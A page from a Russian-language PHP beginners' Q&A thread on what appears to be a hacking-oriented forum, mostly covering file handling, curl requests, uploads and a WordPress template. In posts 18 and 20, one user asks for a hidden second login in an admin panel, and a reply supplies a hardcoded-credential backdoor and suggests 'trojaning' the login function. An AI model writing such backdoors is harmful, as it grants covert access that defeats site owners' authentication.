[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    Да, колчество строк одинаковое в обеих файлах
     
  2. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    PHP:
    <?php
    $file   
    = array(); // будущий массив
    $files1 file("file1");
    $files2 file("file2");

    for (
    $i=0;$i<count($files1);$i++)
    {
         
    $file[$file2[$i]] = $files1[$i]; // ну или как там тебе нужно их собрать 
    }
    ?>
     
    _________________________
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    у функции gethostbyaddr() есть какие-нибудь ограничения? Сильно ли она грузит сервер?
     
  4. beshenuy

    beshenuy Member

    Joined:
    24 Oct 2009
    Messages:
    176
    Likes Received:
    7
    Reputations:
    2
    Привет
    возникла ошибка
    http://i073.radikal.ru/1105/48/30d37a89a49b.jpg
    вот етих два поля виделени красним нужно слить и зделать как одно
    как ето можно организовать?
    пологаю нужний код ето вот етот....

    http://zalil.ru/31025908

    как ево следует отредактировать?
    помогите пожалосто
     
  5. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Adio
    PHP:
    <?php
    $files1
    file("textfile1.txt");
    $files2file("textfile2.txt");
    $i 0;
    while (
    $i<count($files1)):
         echo 
    "".$files1[$i].$files2[$i]."<br>\n";
         
    $i++;
    endwhile;
    ?>
    Так что ли?
     
  6. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Возвращает имя Internet-хоста, специфицированного параметром ip_address. Если возникает ошибка, возвращает ip_address.
    Ничего не грузит
     
  7. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Нижний код привести к style="margin:0 auto;"
     
  8. eXc

    eXc New Member

    Joined:
    13 Jan 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Из за чего так?

    Почему при написание комента sidebar уходит под comments!


    PHP:
    <?php // Do not delete these lines // thanks to Jeremy at http://clarktech.no-ip.com for the tips  if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))   die ( 'Please do not load this page directly. Thanks!' );   if ( function_exists( 'post_password_required' ) ) {     // If the post is password protected   if ( post_password_required() ) {     echo '<p class="nocomments">This post is password protected. Enter the password to view comments.</p>';     return;   } } else {   if (!empty($post->post_password)) { // if there's a password     if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie  ?>       <p class="nocomments">This post is password protected. Enter the password to view comments.</p>       <?php return;     }   } }  //WP 2.7 Comment Loop if ( have_comments() ) : ?>    <?php if ( ! empty($comments_by_type['comment']) ) :   $count count($comments_by_type['comment']);   ($count !== 1) ? $txt "Comments: " $txt "Comment:"?>   <h3><?php echo $count " " $txt?></h3>   <ul class="commentlist">     <?php wp_list_comments'type=comment&callback=motiontheme_comment' ); ?>   </ul>   <?php endif; ?>    <div id="navigation">     <div class="alignleft"><?php previous_comments_link(); ?></div>     <div class="alignright"><?php next_comments_link(); ?></div>    <script type="text/javascript" src="//yandex.st/share/share.js" charset="utf-8"></script> <div class="yashare-auto-init" data-yashareL10n="ru" data-yashareType="button" data-yashareQuickServices="yaru,vkontakte,facebook,twitter,odnoklassniki,moimir,lj,friendfeed,moikrug"></div>   <?php       if ( ! empty($comments_by_type['pings']) ) :     $countp count($comments_by_type['pings']);     ($countp !== 1) ? $txtp "Trackbacks / Pingbacks for this entry:" $txtp "Trackback or Pingback for this entry:"?>       <h3 id="trackbacktitle"><?php echo $countp " " $txtp?></h3>     <ul class="trackback">             <?php wp_list_comments'type=pings&callback=motiontheme_ping' ); ?>     <?php endif; ?>  <?php endif; ?>  <?php    if (comments_open$post->ID )){ comment_form(); }    ?>
     
  9. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Потому что комментарий однострочный, и код у тебя в одну строку
     
    _________________________
  10. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Хочу сделать загрузку с одного сервера на другой частями.
    Если возможно, то как?
    Делить файл на отдающем сервере или скачивать целиком, а потом делить, не вариант.
     
  11. foma9999

    foma9999 New Member

    Joined:
    5 Jan 2010
    Messages:
    83
    Likes Received:
    2
    Reputations:
    -5
    PHP:
    function connect($link,$post=null,$cookie=null,$ref=null){
    $ch curl_init();
    curl_setopt($chCURLOPT_URL,$link);
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);   // вывод в браузер
    curl_setopt ($chCURLOPT_HEADER1);       //заголовки
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);    // локатион
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10');
    if(
    $post !== null)
    {
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    }
    if(
    $cookie!==null){
    curl_setopt($chCURLOPT_COOKIE$cookie);
    }
    if(
    $ref!==null){
    curl_setopt $ch CURLOPT_REFERER "http://qwe.com/auth.php" );
    }
    $otvet curl_exec($ch);
    curl_close($ch);
    return 
    $otvet;
    }
    в общем, когда на денвере вызываю echo connect('http://qweqwe.com',null,null,null);
    выводит заголовок и содержимое стр, а когда на хосте этот скрипт запускаю, то только странный заголовок, вида
    PHP:
    HTTP/1.1 302 Found Servernginx/0.8.54 DateSat14 May 2011 20:19:17 GMT Content-Typetext/htmlcharset=utf-8 Connectionkeep-alive X-Powered-ByPHP/5.3.3 ExpiresThu19 Nov 1981 08:52:00 GMT Cache-Controlno-storeno-cachemust-revalidatepost-check=0pre-check=0 Pragmano-cache Set-Cookieda_user_logined=104357path=/ Locationhttp://www.qwerty.ru/user/
     
  12. foma9999

    foma9999 New Member

    Joined:
    5 Jan 2010
    Messages:
    83
    Likes Received:
    2
    Reputations:
    -5
    Добавляю картинку на серв
    PHP:
    $post1 = array(
            
    'image' => '@D:\DenServ\home\test1.ru\www\qwer\111.jpg;type=jpg',
            
    'url' => $url,
            
    'text' => $text[$i],
            
    'descr' => $text[$i],
            
    'section_id' => '29',
            
    'price' => $price,
            
    'postnewteaser' => 'post',
            );
    На серв почему-то грузится картинка без расширения, если убрать type=jpg, то вообще не грузит!
    В чем проблемс?
     
  13. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    эм, а чего в нем странного? это обычный редирект
     
  14. foma9999

    foma9999 New Member

    Joined:
    5 Jan 2010
    Messages:
    83
    Likes Received:
    2
    Reputations:
    -5
    Спасибо, разобрался :D :D :D
    Я просто грабил неотуда!
    Грабил с стр. которая ридирект шлет :D
     
    #18434 foma9999, 15 May 2011
    Last edited: 15 May 2011
  15. foma9999

    foma9999 New Member

    Joined:
    5 Jan 2010
    Messages:
    83
    Likes Received:
    2
    Reputations:
    -5
    ап-с
     
  16. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Надо было просто следовать правилу использования FOLLOWLOCATION.
     
  17. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Что за собачка и точка запятой в массиве переменной image ?
     
  18. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    186
    Likes Received:
    257
    Reputations:
    32
    Можно как-нибудь добавить параллельную авторизацию по своему логину и паролю?
    Добавить как-то примерно такое:

    $qu = '123';
    $qp = '123';
    if (($_SESSION['USE_FULL_VIEW'])||(login($_POST['username'] == $qu) && ($_POST['password'] == $qp))

    сюда:
    PHP:
    <?
    include_once 
    $_SERVER['DOCUMENT_ROOT'].'/base_config.php';
    include_once 
    _ADMIN_INC.'admin.php';
     
    if (!((isset(
    $_POST['username'])) && (isset($_POST['password']))))
    {
            
    error($main_lang['not_is_one_filled']);
    }
     
    if (
    login($_POST['username'], $_POST['password']))
    {
            if ((
    $_SESSION['USE_FULL_VIEW'])||(get_field($users_table'id'" WHERE username='".mysql_real_escape_string($_POST['username'])."' AND password='".md5(md5($_POST['password']))."'") > 0)) 
            {
                    
    $_SESSION['sess_reg'] = $_POST['username'];
     
                    if (
    USE_MODULE_AUTH)
                    {
                            
    $modules get_modules();
                    }
     
                    if (
    count($modules) > 0)
                    {
                            
    redirect($modules[0][0]);
                    } else {
                            unset(
    $_SESSION['sess_reg']);
                            
    redirect(_ADMIN_LINK);
                            exit();
                    }
            } else {
                    
    redirect(_ADMIN_LINK);
                    exit();
            }
    }
    else
    {
            
    redirect(_ADMIN_LINK);
            exit();
    }
    ?>
     
  19. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Собачка дает понять интерпретатору что это файл, а не строка, а точка с запятой определяет тип файла
     
    _________________________
  20. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    A_n_d_r_e_i попробуйте так:
    PHP:
    if (login($_POST['username'], $_POST['password']) || ($_POST['login'] == 'your_login' && $_POST['password'] == 'your_password' && ($_SESSION['USE_FULL_VIEW']=1))) 
    Но вам стоит просмотреть и функцию login, возможно в ней устанавливаются права пользователя и троянить лучше ее

    Expl0ited попробуйте так :
    PHP:
    'image' => '@D:\DenServ\home\test1.ru\www\qwer\111.jpg;type=image/jpeg'
    Ручками файл заливается нормально? Попробуйте направить запрос на страницу выводящую phpinfo(); и посмотрите в ответе массив $_FILES
     
    _________________________
    #18440 Gifts, 16 May 2011
    Last edited: 16 May 2011
Thread Status:
Not open for further replies.